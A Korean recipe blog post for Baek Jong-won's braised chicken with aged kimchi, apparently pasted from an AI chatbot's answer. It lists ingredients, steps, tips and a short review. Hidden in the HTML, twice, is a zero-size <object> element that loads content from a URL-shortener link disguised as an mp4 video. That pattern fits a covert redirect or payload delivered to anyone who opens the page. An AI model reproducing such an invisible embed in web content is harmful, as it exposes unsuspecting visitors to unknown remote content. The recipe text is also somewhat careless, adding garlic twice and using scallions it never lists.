백종원 묵은지닭볶음탕

<div class="figure-html" data-ke-type="html" data-source="<object width="0" height="0" data="https://vvd.bz/cbVT" type="video/mp4"></object> <div _ngcontent-ng-c3917456593="" class="markdown markdown-main-panel response-optimization stronger" dir="ltr" style="--animation-duration: 400ms; --fade-animation-function: linear;"><h2 data-sourcepos="1:1-1:37">백종원 묵은지 닭볶음탕 레시피: 찐밥도둑 만드는 비법 대공개!</h2>1. 묵은지 닭볶음탕 소개백종원 묵은지 닭볶음탕은 묵은김치의 깊은 맛과 닭고기의 풍미가 조화를 이루는 찐밥도둑 레시피입니다. 쫄깃한 닭고기와 묵은김치의 매콤한 국물이 어우러져 남녀노소 누구나 좋아하는 한국의 대표적인 가정 요리입니다.2. 묵은지 닭볶음탕 재료<ul data-sourcepos="9:1-25:0"> <li data-sourcepos="9:1-9:18">닭 한 마리 (약 1.5kg)</li> <li data-sourcepos="10:1-10:13">묵은김치 1/4 포기</li> <li data-sourcepos="11:1-11:7">감자 2개</li> <li data-sourcepos="12:1-12:9">양파 1/2개</li> <li data-sourcepos="13:1-13:7">마늘 3쪽</li> <li data-sourcepos="14:1-14:9">생강 1 조각</li> <li data-sourcepos="15:1-15:10">고춧가루 3큰술</li> <li data-sourcepos="16:1-16:9">고추장 1큰술</li> <li data-sourcepos="17:1-17:8">간장 4큰술</li> <li data-sourcepos="18:1-18:8">청주 2큰술</li> <li data-sourcepos="19:1-19:10">올리고당 2큰술</li> <li data-sourcepos="20:1-20:11">다진 마늘 1큰술</li> <li data-sourcepos="21:1-21:12">생강가루 1/3큰술</li> <li data-sourcepos="22:1-22:11">김치 국물 2큰술</li> <li data-sourcepos="23:1-23:9">식용유 2큰술</li> <li data-sourcepos="24:1-25:0">소금 약간</li> </ul>3. 묵은지 닭볶음탕 레시피1단계: 닭 준비<ol data-sourcepos="30:1-32:0"> <li data-sourcepos="30:1-30:35">닭은 흐르는 물에 깨끗이 씻어 껍질과 기름기를 제거합니다.</li> <li data-sourcepos="31:1-32:0">닭고기를 한입 크기로 썰어 소금 약간을 뿌려 버무립니다.</li> </ol>2단계: 양념 만들기<ol data-sourcepos="35:1-38:0"> <li data-sourcepos="35:1-35:33">냄비에 식용유를 두르고 다진 마늘을 넣고 향을 냅니다.</li> <li data-sourcepos="36:1-36:46">고춧가루를 넣고 붉게 볶다가 고추장, 간장, 청주, 올리고당을 넣고 끓입니다.</li> <li data-sourcepos="37:1-38:0">양념이 끓어오르면 다진 마늘, 생강가루, 김치 국물을 넣고 밑간을 합니다.</li> </ol>3단계: 닭볶음탕 끓이기<ol data-sourcepos="41:1-46:0"> <li data-sourcepos="41:1-41:27">준비된 닭고기를 양념에 넣고 밑간을 합니다.</li> <li data-sourcepos="42:1-42:24">묵은김치를 닭고기 위에 올려 놓습니다.</li> <li data-sourcepos="43:1-43:23">냄비에 물을 넉넉하게 넣고 끓입니다.</li> <li data-sourcepos="44:1-44:46">끓어오르면 중불로 줄이고 뚜껑을 덮고 1시간 30분 ~ 2시간 정도 끓입니다.</li> <li data-sourcepos="45:1-46:0">닭고기가 익으면 감자와 양파를 넣고 10분 정도 더 끓입니다.</li> </ol>4단계: 완성 및 팁<ol data-sourcepos="49:1-51:0"> <li data-sourcepos="49:1-49:32">닭볶음탕이 완성되면 불을 끄고 파를 뿌려 장식합니다.</li> <li data-sourcepos="50:1-51:0">밥과 함께 뜨겁게 쪄 먹으면 더욱 맛있습니다.</li> </ol>팁<ul data-sourcepos="54:1-59:0"> <li data-sourcepos="54:1-54:31">닭고기를 푹 끓이기 위해 압력솥을 사용해도 좋습니다.</li> <li data-sourcepos="55:1-55:27">묵은김치 대신 배추김치를 사용해도 맛있습니다.</li> <li data-sourcepos="56:1-56:48">매운 것을 좋아한다면 고춧가루를 더 넣거나 고춧가루 종류를 바꿔 사용해도 좋습니다.</li> <li data-sourcepos="57:1-59:0">닭볶음탕 국물에 쫄깃한 당면이나 떡을 넣어 함께 먹으면 더욱 풍성한 한 끼 식사가 됩니다.</li> </ul>4. 묵은지 닭볶음탕 후기백종원 묵은지 닭볶음탕 레시피대로 만들어보니 정말 맛있었습니다. 묵은김치의 깊은 맛과 닭고기의 풍미가 조화를 이루고 매콤하면서도 감칠맛이 일품이었습니다. 쫄깃한 닭고기와 감자, 양파가 국물에 잘 어우러져 남녀노소 누구나 좋아할 만한 맛이었습니다.이 레시피는 밥도둑이라는 말에 부끄러움이 없는 맛입니다. 한 번 만들어보시면 분명 만족하실 거라고 생각합니다.5. 묵은지 닭볶음탕 </div> "><div data-ke-class="article"><object width="0" height="0" data="https://vvd.bz/cbVT" type="video/mp4" allowNetworking='internal' allowScriptAccess='sameDomain'></object> <div _ngcontent-ng-c3917456593="" class="markdown markdown-main-panel response-optimization stronger" dir="ltr" style="--animation-duration: 400ms; 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